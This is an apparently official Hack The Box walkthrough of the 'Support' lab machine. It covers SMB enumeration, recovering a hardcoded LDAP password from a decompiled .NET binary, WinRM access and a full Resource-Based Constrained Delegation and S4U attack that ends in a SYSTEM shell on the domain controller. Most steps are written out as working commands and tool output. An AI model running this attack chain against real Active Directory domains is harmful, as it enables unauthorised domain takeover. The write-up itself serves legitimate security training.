Join The Best Hacking Community Worldwide | Hack The Box
Over half a million platform members exhange ideas and methodologies. Be one of us and help the community grow even further!
www.hackthebox.com
Run a nmap scan
nmap -sC -sV -Pn -v 10.129.233.185nmap -sC -sV -Pn -v -p- -T4 --min-rate=1000 10.129.233.185The Nmap scan reveals numerous open ports, indicating that the underlying operating system is likely Windows. Among the open ports, the most notable ones are 389 (LDAP), 636 (LDAPS), 445 (SMB), and 5985 (WinRM). Since no web server is running on any of the detected ports and this appears to be a Windows system, we’ll proceed to check for any accessible SMB shares.
Among the available shares, support-tools stands out as it is not a default share. Let’s try connecting to it and listing the files it contains.
We successfully connected to the share anonymously and listed its contents. The share includes several application installers, such as PuTTY and Wireshark, but one file stands out: UserInfo.exe.zip. This doesn’t appear to be a well-known application. Let’s download it locally for further investigation.
smb: \> get UserInfo.exe.zip
getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip (267.5 KiloBytes/sec) (average 267.5 KiloBytes/sec)Once the archive has been downloaded, disconnect from the SMB share and extract its contents by unzipping the file.
The archive contains several DLL files along with an executable named UserInfo.exe. Checking the file type reveals that it is a .NET executable. Since we are working on a Linux system, we have two options: decompiling the executable to analyse its functionality or using Wine to attempt running it.
└─$ file UserInfo.exe
UserInfo.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sectionsILSpy
To decompile the .NET executable, we can use Avalonia ILSpy, a cross-platform version of ILSpy compatible with Linux. You can download the latest release from the AvaloniaILSpy Releases page.
wget https://github.com/icsharpcode/AvaloniaILSpy/releases/download/v7.2-rc/Linux.x64.Release.zipThen we will have to extract the contents using unzip.
unzip Linux.x64.Release.zip The archive will extract a second archive, which we must again unzip.
unzip ILSpy-linux-x64-Release.zip Once the archive is extracted, navigate to the artifacts/linux-arm64 folder and run the ILSpy executable. Use the following commands:
cd artifacts/linux-x64
sudo ./ILSpyLet’s load the UserInfo.exe file to decompile it. Go to File, choose Open, locate the target binary in the file browser, and select it.
Once the binary is imported, ILSpy will automatically handle the decompilation, allowing us to view the source code. Upon reviewing the code, we quickly notice a function named LdapQuery alongside two other functions called FindUser and GetUser.
public LdapQuery()
{
string password = Protected.getPassword();
entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
entry.set_AuthenticationType((AuthenticationTypes)1);
ds = new DirectorySearcher(entry);
}The code reveals that the binary connects to a remote LDAP server to retrieve user information. To proceed, we’ll add support.htb to our hosts file.
echo '10.129.233.185 support.htb' | sudo tee -a /etc/hostsThe password required to authenticate with the LDAP server is retrieved from the Protected.getPassword() function.
The code for this function is:
The password appears to be encrypted using XOR, and the decryption process is as follows:
- The
enc_passwordstring is Base64-decoded and stored in a byte array namedarray. - A second byte array,
array2, is created with the same values asarray. - A loop is initiated to iterate through each character in
array. Each character is XORed with a letter from the key and then with the byte0xDFu(223). - Once the loop completes, the decrypted password is returned.
Let's create a Python script that performs the decryption process.
Save the above code into decrypt.py and run it.
└─$ python3 decrypt.py
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmzThe script successfully prints the decrypted password, allowing us to proceed with connecting to the LDAP server to gather further information.
Wine
Another way to examine the functionality of UserInfo.exe is by using Wine, a tool that enables Windows applications to run on Linux systems. This allows us to execute the program directly and observe its behaviour.
└─$ wine UserInfo.exe
Usage: UserInfo.exe [options] [commands]
Options:
-v|--verbose Verbose output
Commands:
find Find a user
user Get information about a userRunning the binary with Wine displays its command-line usage. Let’s try using the find flag to explore its functionality.
└─$ wine UserInfo.exe -v find
[-] At least one of -first or -last is required.The program indicates that a -first or -last flag is also required. Let’s include one.
└─$ wine UserInfo.exe -v find -first "test"
[*] LDAP query to use: (givenName=test)
[-] Exception: No Such ObjectNote: If we haven’t already added support.htb to our hosts file, the binary will throw a "Connect error" message. There are several methods to identify or even guess the hostname without using ILSpy, such as using Wireshark or running the strings command on Windows.
The binary appears to have successfully connected to the remote LDAP server and displays the LDAP query being executed. However, the test object is not found. A few additional attempts to locate other objects are also unsuccessful.
We could try injecting an LDAP query to list all objects, but this approach also fails.
└─$ wine UserInfo.exe -v find -first "*"
[*] LDAP query to use: (givenName=*)
[-] Exception: No Such ObjectNote: The binary is, in fact, vulnerable to LDAP query injection, but this only works on a Windows system.
The earlier failures might stem from Wine being imperfect software, causing the binary to fail during execution, preventing it from identifying the names correctly. However, we know the binary is connecting to the remote LDAP server on the target machine and successfully authenticating.
To investigate further, let’s launch Wireshark to capture the network traffic and attempt to extract the username and password used for authentication. Start Wireshark and begin capturing packets on the tun0 interface. Then, rerun the binary with Wine as demonstrated earlier.
The LDAP authentication details are successfully captured in Wireshark. By examining the bindRequest packet, we can view the username and password combination being used.
To do this, navigate to Lightweight Directory Access Protocol in the packet details, expand protocolOp, and then open bindRequest to identify the username, which is support\ldap. Finally, expand the authentication field to reveal the password: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
Foothold
With the credentials acquired, let's connect to the LDAP server to explore for any potentially interesting information. We'll use the ldapsearch utility to connect, so let's begin by installing it.
sudo apt install ldap-utils Once the utility is installed, we'll attempt to bind to the LDAP server using ldap@support.htb as the BindDN with the -D flag, and specify support and htb as the Domain Components using the -b flag.
When connecting to an LDAP server, the BindDN can be thought of as a type of username or account used to establish the connection, granting the necessary permissions to view and modify objects within the LDAP directory.
The Domain Components, on the other hand, function like a directory structure in LDAP. They are read from right to left and guide the server on where to look and which objects to retrieve. In this example, the server was directed to navigate to the htb domain component, locate the support domain component, and then search for any objects within it named Administrator.
The command produced a large amount of data, indicating that the connection was successful.
Apache Directory Studio
Instead of using ldapsearch, you can opt for the Apache Directory Studio application, which can be downloaded from here. This tool offers a graphical interface, making it easier to view LDAP data efficiently. Simply download it to your device and run the application.
Extract the tar archive, change into ApacheDirectoryStudio and start the Apache directory Studio
tar -xvzf ApacheDirectoryStudio-2.0.0.v20210717-M17-linux.gtk.x86_64.tar.gz
cd ApacheDirectoryStudio
sudo ./ApacheDirectoryStudioNext, add a connection to the LDAP server by selecting the LDAP button located at the top left of the screen.
On the new page, right-click anywhere within the Connections window and choose New Connection.
Enter Support as the connection name, support.htb as the hostname, and then click Next.
In the following window, select Simple Authentication as the authentication method. Set the Bind DN to ldap@support.htb and enter the password nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz in the Bind password field. Click the Check Authentication button to verify that everything is working correctly.
If the authentication is successful, click OK and then select Finish.
On the home screen of the Apache Directory Studio utility, you'll find the Support connection in the bottom left corner. Double-clicking it will establish a connection to the remote LDAP server and display all the LDAP objects.
After opening DC=support,DC=htb, you will notice an object with the Common Name of users. This object contains all the system users on the remote machine. Open it to continue enumerating further.
Among the users listed, one stands out: support. Examining this user's properties reveals a non-default tag called info with the value Ironside47pleasure40Watchful, which resembles a password. Additionally, this user is a member of the Remote Management Users group, granting them permission to connect via WinRM.
With this information, let's use evil-winrm to attempt a remote connection to the support user using the identified password.
The connection is successful, and the user flag can be located in C:\Users\Support\Desktop.
Privilege Escalation
The Nmap output has already shown us that the machine is part of a Domain. We can gather more details about the domain using the Active Directory PowerShell module, which is typically pre-installed on Domain Controllers.
The machine is indeed the Domain Controller (dc.support.htb) for the support.htb domain. Let’s add this hostname to our hosts file.
echo '10.129.233.185 dc.support.htb' | sudo tee -a /etc/hostsWe can also verify whether the current user belongs to any notable or potentially interesting groups.
The support user appears to be a member of a non-default group called Shared Support Accounts, in addition to the Authenticated Users group. To identify potential attack paths within this domain that could help escalate privileges, we can use BloodHound.
First, let’s start the Neo4j database, which is a prerequisite for BloodHound.
sudo neo4j startNext, start the bloodhound.
bloodhoundWe’ll use the SharpHound.exe binary to gather Active Directory data. This binary is part of the BloodHound project and is located in the BloodHound/Collectors/ directory.
To proceed, we can upload the binary using the previously established Evil-WinRM session.
*Evil-WinRM* PS C:\Users\support\Documents> upload SharpHound.exe
Info: Uploading /home/kali/Tools/SharpHound.exe to C:\Users\support\Documents\SharpHound.exe
Data: 1402880 bytes of 1402880 bytes copied
Info: Upload successful!Once the binary has been uploaded, we can proceed to execute it. This will begin the process of collecting Active Directory data for analysis in BloodHound.
After execution is complete, a ZIP file containing the collected Active Directory data will be generated in the same directory. This file can be used for further analysis in BloodHound.
The ZIP file contains all the gathered Active Directory data. Let’s download it using the Evil-WinRM session for further analysis in BloodHound.
*Evil-WinRM* PS C:\Users\support\Documents> download 20241210195546_BloodHound.zip
Info: Downloading C:\Users\support\Documents\20241210195546_BloodHound.zip to 20241210195546_BloodHound.zip
Info: Download successful!After downloading the ZIP file, simply drag and drop it into the BloodHound window to load the collected data. Once the data is loaded, search for SUPPORT@SUPPORT.HTB in the top-left search bar to locate the current user. Right-click on the user object and select Mark User as Owned to indicate that we already have access to the system as this user.
The user details will be visible in the top-left corner, just below the search bar, once the user is selected.
The overview includes details about the user’s group memberships, objects in the domain that the user controls, and other critical information. Notably, the Group Delegated Object Control section displays a value of 1, indicating that one of the groups our user is a member of has access to control certain objects in the domain. Let’s click on this section to view more details.
The output confirms that the Shared Support Accounts group has GenericAll privileges on the Domain Controller. Since the support user is a member of this group, they also inherit full privileges on the DC.
By right-clicking on the GenericAll line and selecting Help, we can access additional information about this privilege, including guidance on how to exploit it effectively.
BloodHound indicates that, due to the GenericAll privilege, it is possible to perform a Resource-Based Constrained Delegation (RBCD) attack. This attack can be leveraged to escalate our privileges within the domain.
Resource-Based Constrained Delegation (RBCD)
In summary, an RBCD attack allows us to add a computer under our control to the domain (e.g., $FAKE-COMP01) and configure the Domain Controller (DC) to allow this computer to act on its behalf. By impersonating the DC, we can request Kerberos tickets for $FAKE-COMP01 with the ability to impersonate a highly privileged user in the domain, such as the Administrator. Using these Kerberos tickets, we can execute a Pass the Ticket (PtT) attack to authenticate as the privileged user, gaining full control over the domain.
Prerequisites for the attack:
- A shell or code execution as a domain user belonging to the Authenticated Users group. By default, members of this group can add up to 10 computers to the domain.
- The
ms-ds-machineaccountquotaattribute must be greater than0. This attribute determines how many computers an authenticated domain user can add to the domain. - The current user (or a group the user belongs to) must have WRITE privileges (
GenericAllorWriteDACL) over a domain-joined computer (in this case, the Domain Controller).
From enumeration:
- The
supportuser belongs to both the Authenticated Users group and the Shared Support Accounts group. - The Shared Support Accounts group has GenericAll privileges over the Domain Controller (
dc.support.htb).
Next, let’s check the value of the ms-ds-machineaccountquota attribute to ensure we can proceed with the attack.
*Evil-WinRM* PS C:\Users\support\Documents> Get-ADObject -Identity (Get-ADDomain).DistinguishedName -Properties "ms-DS-MachineAccountQuota"
DistinguishedName : DC=support,DC=htb
ms-DS-MachineAccountQuota : 10
Name : support
ObjectClass : domainDNS
ObjectGUID : 553cd9a3-86c4-4d64-9e85-5146a98c868eThe result of the previous command indicates that this attribute is set to 10, allowing each authenticated domain user to join up to 10 computers to the domain.
Next, we’ll confirm that the msds-allowedtoactonbehalfofotheridentity attribute is empty. To achieve this, we’ll need the PowerView module for PowerShell. This can be uploaded to the server using Evil-WinRM, as demonstrated earlier. Once uploaded, we can import the module using the following command.
*Evil-WinRM* PS C:\Users\support\Documents> upload PowerView.ps1
<SNIP>
*Evil-WinRM* PS C:\Users\support\Documents> powershell -ep bypass
<SNIP>
*Evil-WinRM* PS C:\Users\support\Documents> . .\PowerView.ps1After importing the module, we can use the Get-DomainComputer cmdlet to retrieve the necessary information.
*Evil-WinRM* PS C:\Users\support\Documents> Get-DomainComputer DC | select name, msds-allowedtoactonbehalfofotheridentity
name msds-allowedtoactonbehalfofotheridentity
---- ----------------------------------------
DCThe value is empty, indicating that we are ready to proceed with the RBCD attack. However, before starting, we need to upload the necessary tools. These include PowerMad and Rubeus, which can be uploaded using Evil-WinRM as demonstrated earlier. PowerMad can then be imported with the following command.
*Evil-WinRM* PS C:\Users\support\Documents> upload Powermad.ps1
<SNIP>
*Evil-WinRM* PS C:\Users\support\Documents> upload Rubeus.exe
<SNIP>
*Evil-WinRM* PS C:\Users\support\Documents> . .\Powermad.ps1Creating a Computer Object
Now, let’s create a fake computer and add it to the domain using PowerMad's New-MachineAccount cmdlet.
*Evil-WinRM* PS C:\Users\support\Documents> New-MachineAccount -MachineAccount FAKE-COMP01 -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
[+] Machine account FAKE-COMP01 addedThe command successfully added a machine named FAKE-COMP01 to the domain with the password Password123. We can confirm the addition of this new machine using the following command.
The output displays the details of FAKE-COMP01, including the assigned SID value, which is clearly visible.
Configuring RBCD
Next, we need to configure Resource-Based Constrained Delegation (RBCD). This can be done in one of two ways:
- Use the built-in PowerShell Active Directory module to set the
PrincipalsAllowedToDelegateToAccountvalue toFAKE-COMP01. This will automatically configure themsds-allowedtoactonbehalfofotheridentityattribute. - Alternatively, use the PowerView module to directly set the
msds-allowedtoactonbehalfofotheridentityattribute.
For this walkthrough, we’ll use the first method as it is simpler to understand. We’ll use the Set-ADComputer command to configure RBCD.
*Evil-WinRM* PS C:\Users\support\Documents> Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount FAKE-COMP01$To confirm that the command was successful, we can use the Get-ADComputer command.
As shown, the PrincipalsAllowedToDelegateToAccount is now set to FAKE-COMP01, confirming that the command worked. We can also verify the value of the msds-allowedtoactonbehalfofotheridentity attribute to ensure it has been correctly configured.
*Evil-WinRM* PS C:\Users\support\Documents> Get-DomainComputer DC | select msds-allowedtoactonbehalfofotheridentity
msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}As observed, the msds-allowedtoactonbehalfofotheridentity attribute now contains a value. However, since this attribute is of type Raw Security Descriptor, we need to convert the bytes into a readable string format to interpret it.
To start, let’s extract the value and store it in a variable named RawBytes.
*Evil-WinRM* PS C:\Users\support\Documents> $RawBytes = Get-DomainComputer DC -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentityNext, we’ll convert the bytes stored in RawBytes into a Raw Security Descriptor object for easier interpretation.
*Evil-WinRM* PS C:\Users\support\Documents> $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0Finally, we can display the entire security descriptor, along with the DiscretionaryAcl class. The DiscretionaryAcl represents the Access Control List (ACL) that defines which machines are allowed to act on behalf of the domain controller.
From the output, we can confirm that the SecurityIdentifier matches the SID of FAKE-COMP01 observed earlier, and the AceType is set to AccessAllowed.
Performing a S4U Attack
We are now ready to carry out the S4U attack, which will enable us to obtain a Kerberos ticket on behalf of the Administrator. To execute this attack, we will use Rubeus.
The first step is to obtain the hash of the password that was used to create the computer object.
We need to extract the value of rc4_hmac. Once we have this, we can proceed to generate Kerberos tickets for the Administrator.
Rubeus successfully generated the Kerberos tickets. To proceed, we can take the last Base64-encoded ticket and use it on our local machine to gain a shell on the domain controller as Administrator.
Here are the steps:
- Copy the value of the last ticket.
- Paste it into a file named
ticket.kirbi.b64. - Note: Before saving the file, ensure that all whitespace characters are removed from the ticket value.
Next, create a new file named ticket.kirbi by decoding the Base64 value of the previous ticket.
base64 -d ticket.kirbi.b64 > ticket.kirbiFinally, we need to convert the .kirbi ticket into a format compatible with Impacket. This can be done using Impacket's TicketConverter.py.
└─$ impacket-ticketConverter ticket.kirbi ticket.ccache
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] converting kirbi to ccache...
[+] doneTo obtain a shell, you can use Impacket's psexec.py tool with the converted Kerberos ticket.
A shell as NT AUTHORITY\SYSTEM has been successfully obtained. The root flag can now be retrieved from the C:\Users\Administrator\Desktop
References
Hack The Box Official Writeup for Support